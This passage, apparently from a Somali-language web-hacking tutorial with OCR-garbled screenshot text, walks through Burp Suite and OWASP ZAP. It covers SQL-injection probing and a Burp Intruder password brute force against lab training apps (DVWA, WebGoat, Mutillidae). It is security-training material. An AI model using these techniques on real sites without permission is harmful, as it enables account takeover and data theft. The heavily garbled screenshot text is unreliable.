. . 09 - Sniffing & Spoofing
www.portswigger.net. Burp Suite * Network Snffers

® Spoofing and MITM

waxad ka heli karta web aplicationa 10 Post Expltaton

11 - Forensics

analysis sidad sawirka ku arkaysid

Burp Suite waxay gaadan kartaa xoogaa ilbirigsiyo ah in la raro markii
ugu horeysay, marka dulgaad yeelo hadaadan arkin ficil deg deg ah.
Waxay kuxirantahay noocaaga BackTrack, waxaad sidoo kale arki
kartaa digniin ku saabsan jawiga waqtiga Java (JRE). Guji OK si aad u sii
wado kadibna agbal heshiiska liisanka. Haddii aad hesho ogeysiisyo
inay jiraan noocyo cusub oo Burp Suite ah oo loo heli karo soo dejinta, si

xor ah u rakib iyaga.

Dejinta Wakiilka Burp

Si loo helo dhammaan codsiyada iyo jawaabaha HTTP /S ee ay qortay
buurka 'Burp Suite', waxaad u baahan tahay inaad gaabeyso

biraawsarkaaga si aad u isticmaasho wakiil.
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v || Q:'search - Browsing
& Signin to Sync v Use autoscrolling
B2 New Window %N v Use smooth scrolling
©9 New Private Window %P Always use the cursor keys to navigate within pages

D Restore Previous Session

Search for text when you start typing
Zoom =— 100% 4+ A

T = oy
g Edit .
3 @ Network Proxy
, I\ Li
H B = H | 5 AdaWs O RA Configure how Firefox connects to the Internet Settings...
blueshoe.p... http:/flabs-... Bun ¢ Preferences

,/ Customise...

* Fur Firefox (laga bilaabo Codsiyada menu menu-ka internetka) kadib

dooro Edit Edit Preferences

* Dooro liiska horumarsan ee dusha sare ee sanduuga Xulashada
Firefox

* Xulo Shabakada tab ka dibna guji Settings sida sawirka
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dooro Manual Proxy Configuration kadib gali 127.0.0.2 mesha HTTP

Proxy input box hadana gali 8080 in the Port input box sida sawirka oo

kale.

SQL injection vulnerabilities

soo ifbaxa markii xogta la xakameyn karo adeegsadaha lagu daro xogta
SQL weydiimaha gaab aan aamin ahayn. Weeraryahanku wuxuu soo
bandhigi karaa fikrad farsamo si uu uga baxo macnaha xogta ee

talooyinkoodu ka muugdo oo uu faragaliyo gaab dhismeedka weydiinta

ku xeeran.

Connection Settings

Configure Proxies to Access the Internet

No proxy
Auto-detect proxy settings for this network

Use system proxy settings

@ |Manual proxy configuration

HTTP Proxy | 127.0.0.1

Port

8080

* v Use this proxy server for all protocols

Weeraro kala duwan oo waxyeelo leh ayaa badanaa lagu gudbin karaa
iyadoo la adeegsanayo cirbadeynta SQL, oo ay ku jiraan agrinta ama

wax ka beddelka xogta dalabka muhiimka ah, faragelinta caqliga
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dalabka, kordhinta mudnaanta ku jirta keydka xogta iyo la wareegista

maamulka keydka macluumaadka.

Tusaalahan waxaan ku soo bandhigi doonaa sida loo ogaado cilladaha
cirbadeynta SQL iyadoo la isticmaalayo Burp Suite. Casharkaan wuxuu
adeegsanayaa laylisyo ka kala socda "DVWA", "WebGoat" iyo
"Mutillidae" oo ah qgalab tababar oo laga soo gaatay OWASP's Broken
Web Application Project

* Marka hore, hubiin Burp si sax ah loogu qaabeeyey
biraawsarkaaga.Hubi "Intercept inu off yahay" ee geybta

Proxy"Intercept".

* Booqo bogga arjiga aad tijaabineyso Ku laabo Burp oo hubi "Dhex-
dhexaadintu way daaran tahay"Intercept"Dhexgalka" Bogga Hadda

codsi u dir serverka. Tusaalahan adoo gujinaya batoonka "Submit" .

Burp Intruder Repeater Window Help
Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Deco

J Intercept T HTTP history TWebSnckets history T Options ]

| Intercept is off |

Raw Params Headers Hex
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Proxy I Spider I Scanner I Intruder I Repeater ISequencer I Decc

ntercept IHTI‘P history I‘HebSuckets history IDptinns ]

Li, Request to http:/f172.16.67.136:80

| Forward | Drop Intercept is on Action

L

Raw I Params I Headers I Hex ]

feeT fdvwa/vulnerabilities/sqgli/7id=tSubmit=Submit HTTPF/1.1
Host: 172.16.67.136
User-Agent: Mozilla/5.0 {iPhone; CPU iPhome 05 5_1 like Mac OF
Accept: text/html,applicati——— * e p.9,
Accept-Language: =n-GE,en; Send to Spider
fjaccept-Encoding: gzip, defl Do an active scan
Referer: http://172.16.67.

Send to Intruder X+l .

Cookie: security=low; rems
PHPSESSID=018foflnkg5333kgs Send to Repeater #+R
Sand tn Senueanrar

Connection: keep-aliwve

a

Codsiga waxaa lagu gabanayaa Proxy "Intercept" tab. Hal dariiqo oo
lagu tijaabiyo arjiga u nuglaanta duritaanka SQL ayaa ah in loo diro
codsiga Burp Scanner.Xuquuqda dhagsii meelkasta oo la codsado si

aad u keento tusmada macnaha guud. Guji "Samee firfircoon iskaan

Xusuusin: Waxaad sidoo kale codsiyo ugu diri kartaa Scanner-ka
iyadoo loo marayo menu-ka macnaha guud ee goob kasta oo lagu

muujiyo codsiyada HTTP, sida khariidadda goobta ama taariikhda
wakiilka.
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Vulnerability: SQL Injection

User ID:

Submit

More info

* Marka skaanka la dhammeeyo, waxaad tagtaa barta Target "Site

map". Tusaalahan Scanner-ku wuxuu helay dhowr arrimood oo ku

saabsan cirbadeynta SQL. Waxaad sidoo kale daawan kartaa

codsiyada iyo jawaabaha iyadoo lagu saleynayo nooca uu Burp u

soo sheegay arrinta.

Target | Proxy ]r Spider I Scanner I Intruder I Repeater I Sequencer ] Decoder IComparer

Site map | Scope

| Filter: Hiding not found items; hiding C55, image and general binary content; hiding 4xx res

v g hup://172.16.67.136

» [ g WebGCoat
v [T dvwa

Contents | Issues ]

v ! SQL injection [12]
! fdvwa/vulnerabilities/sqli/ [Referer HTTP header]
! fdvwa/vulnerabilities /sqli/ [Submit parameter]
! fdvwa/vulnerabilities/sqli/ [User-Agent HTTP header

v [T vulnerabilities

» [ 5 exec

g fi

"o sqgli
» [ & sgli_blind
& upload

» 2 view_help.php '

» iy view_source.php

[Muisaw T Request I Response ]

e[

SQL injection

w0 xss 1
5 xgs g Issue: SOL injection
» B murillidaa Severity High
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* Haddii kale, waxaad u isticmaali kartaa Burp si aad gacanta ugu
tijaabiso arjiga jilicsanaanta duritaanka. Adiga oo dhexda lagu
xidho ayaa lagu damiyey tabka "Intercept", booqo websaydhka

aad ku tijaabineyso biraawsarkaaga.

Burp Intruder Repeater Window Help
| Target | Proxy I Spider I Scanner Tlntruder I Repeater I Sequencer I Deco

J Intercept I HTTP history TWEbSncket:‘. history T Options ]

[ Intercept is off |

Raw Params Headers Hex

* Booqo bogga aad tijaabinaysid Waxaad badanaa ogaan kartaa
cirbadeynta SQL adoo gelinaya jilayaal gaar ah xuduudaha
barnaamijka.Tusaale ahaan, gudbinta ' (single quote) waxay soo

saartaa farriin khalad khaas ah.
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General Goal(s):

The form below allows a user to view their credit card numbers. Try o inject an SQL string that
results in all the credit card numbers being displayed. Try the user name of "Smith’.

Enter your last nnm:D Go!

SELECT * FROM user_data WHERE last name = ''°

Unexpected end of command In statement [SELECT * FROM user_data WHERE last_name = ']

OWASP Foundation | Project WebGoat | Report Bug

* Sikastaba ha noqotee, galinta " (laba hal xigasho) maahan Soo
gudbinta hal xigasho waxay jebisaa matalaadda xarigga, sidaas
darteedna bayaan ballaaran oo SQL ah. Laba xigasho oo keliya ayaa
ah taxane baxsad ah oo matalaya hal xigasho hal suugaan ah. Marka
soo gudbinta laba xigasho gudaha xariga kaliya waxay wax ka

badaleysaa giimaha xariga mana jabineyso bayaanka SQL.

General Goal{s):

The form below allows a user to view their credit card numbers. Try to Inject an S0L string that
results in all the credit card numbears being displayed. Try the user name of “Smith'.

Enter your last nameD God

SELECT = FROM user_ data WHERE last_name = "''"

INo results matched. Try Again, I

OWASP Foundation | Project WebGoat | Report Bug
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Hadda oo aad ogaatay u nuglaanta SQL waxaad isticmaali kartaa

Burp si aad ugu sii baartid u nuglaanta.

leques
Raw | Params | Headers | Hex |

POST request to /WebGoat/attack

Value

Type _Mame | Add
URL Screen 112

URL menu 1100 Remaon
Cookie remember_token PMEIx)3DCRIXLOF 4vrAWEA, —
Cookie acopendivids swingset,jotto,phpbb2, redmine Up
Cookie acgroupswithpersist nada

Cookie PHPSESSID Ol8fof Lnkg5333kgbpckk47hn0 Dowr
Cookie _cyclone_session EAh7RBOKIDINIc3Npb2 5fawQGOgZFR...

Cookie JSESSIONID 46122CEB9CEBEDOFED2CFDT 2A2BBA...

Cookie _railsgoat_session BEAh7BOkID3NIc3Npb2 5fawQCOgZFR...

Cookie Server st B

| Body ¥ account_name

Body SUBMIT o

Brutal force atatck ku same website

CADDAYNTU waxay ku taal bartamaha dalabka kahortaga marinka
aan la fasaxin. Haddii weeraryahan uu awood u leeyahay inuu jebiyo
hawl gabashada codsi markaa way awoodi karaan inay lahaadaan

arjiga oo dhan.

Casharradan soo socdaa waxay muujinayaan farsamo looga gudbayo

xaqjiijinta adoo adeegsanaya bog gal jilitaan oo laga soo gaatay
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aaladda tababarka “"Mutillidae”. Nooca "Mutillidae" ee aan
isticmaaleyno ayaa laga soo gaatay OWASP’s Broken Web
Application Project.

Marka hore, hubiin Burp si sax ah loogu gaabeeyey biraawsarkaaga.
Burp Proxy tab, hubi "Intercept is off" oo booqo bogga soo galida ee

dalabka aad ku tijaabinayso biraawsarkaaga.

Login

[ Please sign-in ]

Name (

Password (

Dont have an account? Please register here

Ku nogo Burp. Bogga Wakiilka "Intercept”, hubi inu yahay"Intercept

on .
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[Target Proxy | Spider ] Scanner I Intruder I Repeater I Sequencer I Decoc

[ Intercept | HTTP history | WebSockets history | Options |

orward rop | Intercept is on |

Raw Params Headers Hex

In biraawsarkaaga galaan qaar ka mid ah faahfaahinta aan macquul
ahayn ee bogga login iyo soo gudbi codsiga.

Login
2l
[ Please sign-in ]
Name [test
Password [sese

Con ™

Dont have an account? Please register here

Codsiga la gqabtay waxaa lagu eegi karaa tabka 'Intercept' tab.Xuquuqda
guji codsi si aad u soo gaadato menu-ka macnaha guud. Markaa dhagsii
"Udiro Intruder" .Fiiro gaar ah: Waxaad sidoo kale codsiyo ugu diri

kartaa Badbaadiyaha adoo adeegsanaya liiska macnaha guud goobta
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lagu muujiyo codsiyada HTTP, sida khariidada goobta ama taariikhda
wakiilka.

J RawT Params T Headers T Hex ]

Host: 172.16.67.136

Aocept-Language :

POST /rmutillidae/index.php?page=login. php HTTP/ 1.1

User-Agent: Mozilla/5.0 {(iPhone; CPU iPhone O8 5_1 like Mac OS
Version/5.1 Mobile/9B176 Safari/7534.48.3

Bocept: text/html,application/xhtml+xml, application/xml;gq=0.9,
en-Gb,en;gq=0.5

heoecept-Encoding: gzip, deflate

Referer: http://172.16.67 i Login.
Cookie: showhints=0; reme Send to S'_Hder Bh; tE
dbx-postmeta=grakbit=0-, 1- Do an active scan L, 1-,2
acopendivids=swingset, jot Send to Intruder 58 4|  eha=REC
dSadbd280a324d2acsdebict send to R ” 3% +R Ti; P
Connection: keep-alive AL B
Content-Type: application Send to Sequencer
Content-Length: 57 Send to Comparer
usernams=testhkpassword=te Send to Decoder il
Request in browser >
Emmamamant fanle [

Tag barta Intruder "Positions" .Kharixi jagooyinka lacag bixinta horay
loo dhigay adoo adeegsanaya batoonka "Clear" ee midigta tifaftiraha
codsiga.Kudar giyamka cabbirka "username" iyo "password" sida
jagooyinka adoo muujiyaya oo isticmaalaya Ku dar badhanka "Add"

weerarka u beddel "Cluster bomb" adoo adeegsanaya "Attack type" ee

hoos u dhaca. @) Pavioad Positions —
Configure the positions where payloads will be inserted into the base request. The attack
type determines the way in which payloads are assigned to payload positions - see help for
full details.
Attack type: | Cluster bomb v
FOET smatillidan; index. phpepage=locin. pho STTT7 1.1 % Add
Host: 172,16.57.136 r §
Ussr—Agent: Morille/L.0 (ifhone; CFU iPhone 05 5_L like dMac 08 X)
AppleWckiit, 534 48 (RWTHL, like Gecko) Wersion/s.1 Hobile/SE176 Clear §
Balarifl534.45.3
AccEpt: . Auto &
text/html, application xhemlewml , applicationd xml el 8,8 /0 qed &
Accept-Language: en-GB enjg=0.5
Accept-Encodi grip, d=flate Refresh

REefrrer: htop 72.16.67. 136 fmun Al 1 ddars indee, php?page=1ogin. php
Cockie: eshowhinte=l; cemsmber_ token=PRLI«J30a6 LXL0P4 vEAWERA;
tz_pfiset=1800;

dhy-postmeta=ygrabit=0-, 1-,2-,3-,4-, 5-, 6 -sadhmanoedstuff-0-, 1-,2-;
acopendivide=swingeet, jobto, phphks, cednine;
scoroupswithpersist=nada;
dsaghdagnaiz4diacrsnhionfesakinsn=aplancdzdahordaTrel 3fuvl 73
PHEPSESSID=25 jepjakd S4g8hs jloskd Lid23

Conoection: keep-alive

Cortent-Type: application!x-wew-form-urlen-odesd

Coptent-Leagths E7

nssrname=FEESEEL pa aswnr d=§E8FEEs | ogin-php-submit-hutton=Login




_ Somali Hacker 101

Tag tabka "Payloads". "Payload sets" dejimaha, hubi in "Payload set" ay
tahay "1" iyo "Payload type" ayaa loo dejiyay "Liiska Fudud". "Beddelka
Fursadaha" goobaha ayaa gala gaar ka mid ah magacyada
isticmaalayaasha. Waxaad ku sameyn kartaa tan gacanta ama waxaad

isticmaali kartaa liis cayiman oo horay loo dhigay.

£ | start attachk |
You can detine one or more payload sels. The number of payload sets depends on the attack wype
delined in the Positions tab., Various payload types are available Tor each payload sel, and each
payload type can be customized in different ways.
Payload ser: |1 *|  Payload count: 9
Payload type: |S|rn|:u|e list '| Request couni- 18
|4
This payload type lets wou configure a simple list of strings that are used as payloads
| Paste || Admin I
Adminl
| Load .. || Dawve Marka
User
| Remove | | pege .
— r xigta,
[ Clear || psear d
Harrison v
[ add ]|
| Add Trom list ... v|

xulashooyinka "Payload Sets", wax ka beddel "Payload" oo loo dejiyey
"2" .Qaybta "Xulashada Bixinta" gelitaanka erey sir ah oo suurtagal ah.
Waxaad ku sameyn kartaa tan gacanta ama adoo isticmmaalaya liis gaar
ah ama horay loo dhigay. Guji batoonka "Start attack".
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‘You can define one or maore payload sets. The number of payload sets depends on the attack type
defined in the Positions tab. Various payload types are available for each payload set, and each
payload type can be customized in different ways.

Payload set: |2 ?] Payload count: 3.424

Payload type: | Simple list _'l’_] Request count: 30,816

Payload Options [Simple list)

This paylead type lets you configure a simple list of strings that are used as payloads.

| Paste J 1Earss &
1EHEHA

| Load.. | 1@esxas

— 7L

| Femove ] Irosat L

— | $5RY

|. Clear J Siecured
*Anoguru ¥

| Add Enter a new item

Daaqgada"Intruder attack"waxaad ku kala sooci kartaa natiijooyinka
adoo adeegsanaya cinwaannada madaxa. Tusaalahan ku kala sooc

"Length" iyo "Status".

J Results T Target r Positions T Payloads T Options ]

Filter: Shaowing all items

Request Payloadl | Payload2 | Status. ¥ Error | Timeout | Length
118 | Admin | ADMIN a0 O | 39590
247 Admin Admin 302 = & 39550
9595 Admin admin 302 L = 395590
8527 User USER 302 = = 39553
8653 User User 302 = = 39593
29162 User user 302 = =l 319593
0 200 (= & 39432
1 Admin NE 5 200 = = 39432
F Adminl 5% 200 [ =l 39432
3 Dave it £ 200 [ al 39432
4 User I 3% 200 = = 39432
5 Pete it £ 200 [ al 19432
f Paul I 3% 200 = = 39432
AN J J

Reguest | Response ]
JMT Params T Headers : Hex ,

DT demk il ldidaalfindar mhaPamesma=]lacia cha BTTDOAT O

| 7 | < | + || k3 | Type a saarch [erm | 0 ma
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Jadwalku wuxuu hadda na siinayaa natiijooyin xiiso leh oo baaritaan

dheeri ah leh. Daawashada jawaabta daagadda weerarka waxaan arki
karnaa in dalabka 118 uu ku qoran yahay "admin".

Request | Response ]

J Raw T Headers I Hex T HTML I Render ]

HTTF/1.1 302 Found
Date: Fri, 06 Mar 2015 13:36:36 GMT

Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 FHE/S.3.2-lubunt
proxy_html/3.0.1 mod python/3.3.1 Python/2.6.5 mod =ss1/2.2.14
Phusion Passenger/3.0.17 mod_perl/2.0.4 Perl/w5.10.1
E-Powered-By: PHP/S5.3.2-lubuntud.s
Set-Cookie: username=admin
HBet—Cookie: uid=1

= o e 2o pl T ot if icat ionCode=A1T1
Content-Length: 39071
Connection: close
Content-Type: text/html

SFmm T FRITRE thRe Adatakase nassword Ta

Si loo xaqiijiyo in weerarka xoog wax ku oolka ah lagu guuleystay,
isticnaal macluumaadka la soo ururiyey (username iyo lambarka sirta)
ee bogga gelitaanka arjiga websaydhka.

lidaeindex. php?poplpMatificaticnCode=ALl @ | (B~ Goooie QW BE + # =

ASP Mutillidae Il: Web Pwn in Mass Production

curity Level: 0 (Hosed) Hints: Disabled (0 - | try harder) .Longod In Admin: admin (root) |

= Hints Toggle Security Reset DB View Log Wiew Captured Data Hide Popup Hints Enforce SSL

Mutillidae: Deliberately Vulnerable Web Pen-Testing
{ Application

Like Mutillidae? Check out how ta help

? What Should | Do? ﬁ Video Tutorials

Q Help Me! E Listing of vulnerabilities
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Xaaladaha gaarkood, caayaan ku gasbid bogga soo gelitaanka waxay
sababi kartaa codsi xiraya koontada isticmaalaha. Tani waxay sabab u
noqon kartaa siyaasad quful ku saleysan tiro cayiman oo ah iskudayo
galitaan xumo iwm In kasta oo loogu talagalay in lagu ilaaliyo koontada,
siyaasadaha noocan oo kale ah waxay badanaa keenaan nuglaansho
dheeraad ah. Isticmaalaha xaasidnimada leh wuxuu awoodi karaa inuu
xiro xisaabaadyo badan, isagoo u diidaya helitaanka nidaamka. Intaa
waxaa dheer, koontada la xiray waxay sababi kartaa kala duwanaansho
habdhaganka arjiga, habdhagankan waa in la baaraa oo suurtagal laga
dhigtaa.

@ Please remove the finstall folder now

GETEBOO

& Too many login tries.

You have tried to log in more than 3 times unsuccessfully for this account in the last 1

Please try again in 10 minutes.

Halka soo galintu u baahan tahay adeegsi iyo isgarad, sida kor ku xusan,

codsi ayaa laga yaabaa inuu ka jawaabo isku day galitaan oo lagu
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guuldareystay isagoo tilmaamaya in sababta guuldaradu ay ahayd
magac adeegsi aan la agoonsaneyn ama erey sir ah oo khaldan. Liis ah
magacyada isticmaaleyaasha la tiriyay ayaa loo adeegsan karaa
aasaaska weerarada kala duwan ee soo socda, 0o ay ku jiraan giyaasta
sirta ah, weerarada xogta isticmaalaha ama fadhiyada, ama

injineernimada bulshada.

@WORDPRESS

Username:

Peter

Password:

Remember me

Marka lagu daro farsamooyinka imtixaanka gacanta, Burp Scanner
waxaa loo isticmaali karaa in lagu helo noocyo kala duwan oo agoonsi
ah iyo u nuglaanta maaraynta kal-fadhiga Tusaalahan, Scanner wuxuu
awooday inuu tiriyo arrimo kala duwan oo ka caawin kara weeraryahan

jabinta xagqiijinta iyo maaraynta kal-fadhiga codsiga webka.
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i Target I Prony' Spider lSunnuJ Intruder Repeater l Sequencer l DKodeﬂ CompamJ ExtenduJ

jmmw‘&ow

Filter Hiding not found items. hiding CSS, image and general binary content. hiding 4xx responses. hidi

v ehtp://172.16.67.136 ntent |

- Host Mq » @) Cross-site scripting (reflected) [2]
» | e WebGoat . §
s mutillidae hitp//172,16.67.136 GEA @ Cleartext submission of password
,'\.L http//172.16.67.136  GE| ! Flle path traversal
T — http.//172,16.67.136 P 7 SQL Injection
S ik http.//172.16.67.136 i Password field with autocomplete &
- ¢ http //172.16.67.136 P i Cross-domain Referer leakage
f udes x ®
c http. /! 6.67.136 GE i Cookie without HitpOnly flag set
: \"nduphp http /1 172.16.67.136 .‘, Long redirection response
,,’ ‘ 2 '- o = » | Frameable response (potential Click
WIS [Iquut l Response | Advisory | Request1 | Responsel | Re
]'_7 _ Headers I Hex
Raw Params . :
| ? SQL injection
32T /millidae; Py a
Lol ST 1 -

owasp zap

OWASP ZAP (Zed Attack Proxy) waa iskaan codsi shabakad furan oo
laga helo ilaha macluumaadka. Waxaa loogu talagalay inay u
adeegsadaan labadaba kuwa ku cusub nabadgelyada dalabka iyo sidoo

kale tijaabiyayaal xirfad-yaqaan ah.

Waa mid ka mid ah mashaariicda ugu firfircoon ee Mashruuca
Badbaadinta Codsiga Websaydhka (OWASP) waxaana la siiyay heerka



_ Somali Hacker 101

Calanka . Markii loo adeegsado sidii wakiilka wakiilka waxay u
oggolaaneysaa adeegsadaha inuu wax ka gabto dhammaan taraafikada

dhex marta, oo ay ku jiraan taraafikada isticmaalaya https.

Waxay sidoo kale ku socon kartaa gaab daemon ah oo markaa lagu
xakameeyo iyada oo loo marayo REST API.

ZAP waxaa lagu daray Radar Teknolojiyadda "'ThoughtWorks' bishii
Maajo 2015 ee giraanta Tijaabada.

ZAP asal ahaan waxaa laga muday Paros, wakiil kale pentesting. Simon
Bennetts, hogaamiyaha mashruuca, wuxuu sheegay 2014 in kaliya 20%
koodhka ilaha ZAP uu wali ka yimid Paros.

isticmalka zap

Zap waxaad ka heli karta khanada wep aplication analiyes lakiin waxa
kale oo aad ka gali karta terminalka kaliya waxaad galinaysa amarkan

Zaproxy
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Untitled Session - OWASP ZAP 2.8.0 x
File Edit Wiew Analyse Report Tools Import Online Help OJ
StandardMode 0 U B W D @ 0 Be0 OO0 DD de v © 2 mmm o ¢ e® )
| [ @ sites Scripts [+ Quick start # | = Request | Response— | 4=

® LB I

= Welcome to OWASP ZAP
¥ [H Contexts

[&] Default Context @ ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
@ sites ” If you are new to ZAP then it is best to start with one of the options below.

|
|
|
|
|
| ig
| Automated Scan | | Manua | Explore n More
|
|
' |
|
:_[ = History | 4 search | [P alerts | output | == |
| @ @ | Filter: OFF & Export i
[d | Req. Timestam, | Method | URL | Code | Reason | RTT | Size Resp. Body | Highest Alert | Note | Tags =
a P P y g ]
| |
v
Alerts 0 80 U0 FIO @) Current Scans # 0 400 &0 @0 N 0 0 0 0 - 0 3o

1 Menu Bar - Waxay siisaa marin u helida galab badan oo otomaatig ah

iyo kuwa gacanta lagu gaato.

> Toolbar- waxay ku jirtaa badhanno si fudud u heli kara astaamaha

inta badan la isticmaalo.

3 Tree Window - Waxay muujisaa geedaha Goobaha iyo geedaha

goraallada.

+ Workspace Window - Waxay muujisaa codsiyada, jawaabaha, iyo

goraallada waxayna kuu oggolaaneysaa inaad wax ka beddesho.

5 Information Window - Waxay soo bandhigeysaa faahfaahinta

galabka otomaatiga ah iyo galabka gacanta.

6 Footer - Bandhigay kooban ee digniinta la helay iyo xaaladda

aaladaha otomatiga ugu waaweyn.
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Intaad isticmaaleyso ZAP, waxaad gujin kartaa Caawinta Miiska Barta
ama riix F1 si aad uga hesho caawimaad xasaasi u ah macnaha guud
ee Tilmaamaha Isticmaalaha Desktop ZAP. Sidoo kale waxaa laga

heli karaa internetka.

Wixii macluumaad dheeraad ah ee ku saabsan Ul, ka eeg Guudmarka
ZAP Ul ee dukumiintiyada khadka tooska ah ee ZAP.

ZAP sidoo kale waxay taageertaa APl awood leh iyo waxgabadka

xariijinta taliska, oo labaduba ka baxsan baaxadda hagahan.

MUHIIM: Waa inaad v isticmaashaa oo keliya '"ZAP' inaad ku
weerarto codsi aad fasax u haysato inaad ku tijaabiso weerar
firfircoon. Sababtoo ah tani waa jilid u dhagmeysa sida weerar dhab
ah, dhaawaca dhabta ah waxaa loo geysan karaa shageynta goobta,
xogta, iwm. Haddii aad ka walwalsan tahay adeegsiga ZAP, waad ka
hortagi kartaa inay dhibaato geysato (in kasta oo shaqooyinka ZAP si

weyn hoos loogu dhigi doono) adigoo u beddelaya hab aamin ah.

Si aad ugu beddesho ZAP hab aamin ah, dhagsii falaarta ku taal
habka hoos u dhaca ee ku yaal toolbar-weynaha si aad u ballaadhiso

liiska wax-soo-saarka oo aad u doorato Safe Mode.
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Automated Scan

j - Quick Start r?T = Request I Responsed— m

<] Automated Scan Q

This screen allows you to launch an automated scan against an application - just enter its URL below and press 'Attack’.

Please be aware that you should only attack applications that you have been specifically been given permission to test.

URL to attack: http:// E] @ Select...

Use traditional spider: [+

Use ajax spider: M with | Firefox E
| & Attack |

Progress: Not started

Habka ugu fudud ee loo bilaabi karo isticmaalka ZAP waa iyada oo
loo marayo tabka Bilowga Degdegga ah. Start Start waa ZAP wax

lagu daro oo si otomaatig ah loogu daro markii aad rakibtay ZAP.

Si aad u socodsiiso Scan Degdeg ah oo otomaatig ah:

- Bilow ZAP oo guji Quick Start tab ee Daagada Goobta Shagada.
* Dhagsii badhanka weyn ee iswada.

* Cinwaanka URL-ka ee lagu weerarayo sanduuqa qoraalka, geli URL-

ka buuxa ee websaydhka aad rabto inaad weerartid.

- Guji ATTACK



_ Somali Hacker 101

ZAP waxay sii wadi doontaa inay ku dhex gurguurto dalabka
websaydhkeeda oo ay si xamaasad leh u baarto bog kasta oo ay hesho.
Markaas ZAP waxay adeegsan doontaa galabka wax lagu duubo si ay u

weeraraan dhammaan bogagga la helay, shageynta, iyo cabbiraadaha.

ZAP waxay bixisaa 2 caaro oo gurguurta codsiyada webka, waxaad ka

isticmaali kartaa midkood ama labadoodaba shaashadan.

Caara dhagameedka 'ZAP' kaas 0o soo ogaada isku xirka adoo baaraya
HTML jawaabaha arjiga shabakada. Caara-caaradan waa dhakhso
badan tahay, laakiin had iyo jeer ma aha mid waxtar leh marka la
sahaminayo codsi shabakadda AJAX ah oo soo saarta xiriiriyeyaal

iyadoo la adeegsanayo JavaScript.

Codsiyada AJAX, caarada AJAX ee ZAP waxay u egtahay inay waxtar
badan leedahay. Caara-caaradu waxay sahmisaa barnaamijka
websaydhka iyagoo u yeeraya daalacayaasha kadibna raacaya
xiriiriyeyaasha la soo saaray. Caarada AJAX waa ka gaabisaa caaro
dhagameedka waxayna u baahan tahay gaabeyn dheeri ah siloogu

isticmaalo jawiga "madax la‘'aan".

ZAP waxay si xamaasad leh u baari doontaa dhammaan codsiyada iyo
jawaabaha lagu dhex adeegsaday. llaa iyo hada ZAP waxay sameysay

oo kaliya baaritaano aan rasmi ahayn oo ku saabsan arjigaaga
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shabakada. Baadhitaanka aan tooska ahayn wax kama beddelo
jawaabaha si kasta oo waxaa loo arkaa mid ammaan ah. Baadhitaanka
ayaa sidoo kale lagu sameeyaa dunta asalka ah si aan hoos loogu dhigin
sahaminta. Baadhitaanka dadban wuxuu ku fiican yahay helitaanka
nuglaanta qaarkood iyo dariiq loo helo dareen ah xaladda amniga
aasaasiga ah ee codsiga webka iyo helitaanka meesha baadhitaan

dheeraad ah laga yaabo in la damaanad gaado.

Baadhitaanka firfircoon, hase yeeshe, wuxuu isku dayayaa inuu helo
nuglaansho kale adoo adeegsanaya weeraro la yagaan oo ka dhan ah
bartilmaameedyada la xushay. Baadhitaanka firfircoon ayaa ah weerar
dhab ah oo lagu bartilmaameedsanayo bartilmaameedyadaas oo halis
gelin kara bartilmaameedyada, sidaa darteed ha u isticmaalin iskaan

firfircoon bartiimaameedyada aanad haysan rukhsad aad ku tijaabiso.

Maaddaama ZAP ay caaraduus u leedahay websaydhkaaga, waxay
dhisaysaa khariidad ka mid ah boggaga barnaamijyadaada ‘iyo ilaha loo
adeegsaday in lagu bixiyo bogaggaas. Kadibna waxay diiwaangelisaa
codsiyada iyo jawaabaha loo diro bog kasta waxayna abuurtaa digniino
haddii ay jiraan wax suurtagal ah inay ku galdan yihiin codsi ama

jawaab.

Si loo baaro aragtida geedka ee bogagga la sahamiyey, dhagsii tabta
Sites ga ee Daaqadda Geedka. Waad ballaarin kartaa noodhadhka si
aad u aragto URL-yada shagsiyeed ee la galo.



_ Somali Hacker 101

Alert Details

Dhinaca bidix ee Cagaha wuxuu ka kooban yahay tirinta digniinta la
helay intii lagu jiray baaritaankaaga, oo loo kala saaray geybaha halista.
Noocyada halista ah waa:

¥ High
Si aad u aragto ogeysiisyada la abuuray intii lagu R Medium
jiray baaritaankaaga: b

™ LOW

¥ |nformational

* Guji tabka digniinta ee Information Window. M Eakso Posiiive

* QGuji digniin kasta oo lagu muujiyo daaqadaas si
aad u muujiso URL-ka iyo u nuglaanta lagu ogaado dhinaca midig ee

Information Window.

* GudahaWindows-ka Workspace, dhagsii tabta Response siaad u
aragto waxyaabaha ku jira cinwaanka iyo jirka Response . Qaybta

Response ee dhalisay digniinta waa la iftiiminayaa.

Manual scan

Baadhitaanka aan tooska ahayn iyo shageynta weerarka otomaatiga ah
waa hab fiican oo lagu bilaabi karo giimeynta u nuglaanta
barnaamijkaaga internetka laakiin waxay leedahay xoogaa xaddidan.

Kuwaas waxaa ka mid ah:
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* Bog kasta oo lagu ilaaliyo bogga gelitaanka looma ogaan karo inta
lagu gudajiro baaritaanka tooska ah maxaa yeelay, illaa aad adigu
habeyso shageynta xagqiijinta ZAP, ZAP ma gaban doonto xagjiijinta

loo baahan yahay.

* Ma lihid xakameyn badan oo ku saabsan taxanaha sahaminta ee
baaritaanka aan caadiga ahayn ama noocyada weerarrada ee lagu
qaado weerar otomaatig ah. ZAP waxay bixisaa xulashooyin dheeri
ah oo dheeri ah oo loogu talagalay sahaminta iyo weerarada ka

baxsan baaritaanka aan tooska ahayn.

Spider-ku waa hab fiican oo lagu sahamin karo bartaada aasaasiga ah,
laakiin waa in lagu daraa sahaminta gacanta si ay waxtar badan u
yeelato. Spider-yada, tusaale ahaan, waxay kaliya gali doonaan xogta
aasaasiga ah ee aasaasiga ah foomamka ku jira arjigaaga shabakadda
laakiin isticmaale ayaa geli kara macluumaad aad u khuseeya kaas oo,
dhanka kale, u bandhigi kara wax badan oo ka mid ah websaydhka ZAP.
Tani waxay si gaar ah run ugu tahay waxyaabaha sida foomamka
diiwaangelinta oo cinwaan emayl sax ah looga baahan yahay. Caaro
waxay gali kartaa xarig aan kala sooc lahayn, oo khalad keeni doonta.
Isticnaaluhu wuu awoodi doonaa inuu ka falceliyo gqaladkaas oo wuxuu
siiyaa xadhig si sax ah loo qaabeeyey, taas oo sababi karta in badan oo

ka mid ah arjiga la kashifo markii foomka la gudbiyo lana agbalo.

Waa inaad ku sahamiso dhammaan dalabkaaga webka adoo

adeegsanaya biraawsar adeegsanaya ZAP. Intaad sidan samaynaysid,
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ZAP waxay si xamaasad leh u baareysaa dhammaan codsiyada iyo
